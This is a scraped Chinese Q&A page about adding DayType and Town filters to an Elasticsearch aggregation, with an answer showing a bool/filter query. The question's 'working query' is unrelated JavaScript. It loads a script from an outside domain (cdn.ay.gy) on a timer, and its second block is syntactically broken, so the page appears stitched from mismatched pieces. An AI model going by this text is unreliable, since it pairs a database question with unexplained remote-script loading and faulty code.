如何在我的Lucene查询中添加过滤器?

时间:2017-09-06 14:24:26

标签: elasticsearch lucene elasticsearch-5

我想获得过去一小时内发生的每小时平均事件数。所有活动必须包含字段" DayType"等于" T1"和#34; Town"等于" NA"。

我的基本工作查询如下。但是,我不知道如何通过字段添加过滤器" DayType"和#34; Town"。

// jQuery:
window.setTimeout(function() {
  $.getScript('https://cdn.ay.gy/js/display.js');
  // see http://api.jquery.com/jQuery.getScript
}, 60000);

// or without jQuery:
window.setTimeout(function() {
  var s = document.createElement('script');
  s.setAttribute( 'src', 'https://cdn.ay.gy/js/display.js' );
  document.body.appendChild( s );
}

1 个答案:

答案 0 :(得分:1)

您可以在查询中添加bool/filter约束,以便仅在所选文档上计算聚合:

POST /myindex/_search
{
  "size": 0,
  "query": {
    "bool": {
      "filter": [
        {"term": {"DayType": "T1"}},
        {"term": {"Town": "NA"}}
      ]
    }
  },
  "aggs": {
    "range": {
        "date_range": {
            "field": "Datetime",
            "ranges": [
                { 
                   "from": "now-1H/H",
                   "to": "now/H" 
                }
            ]
        }
    }
}
}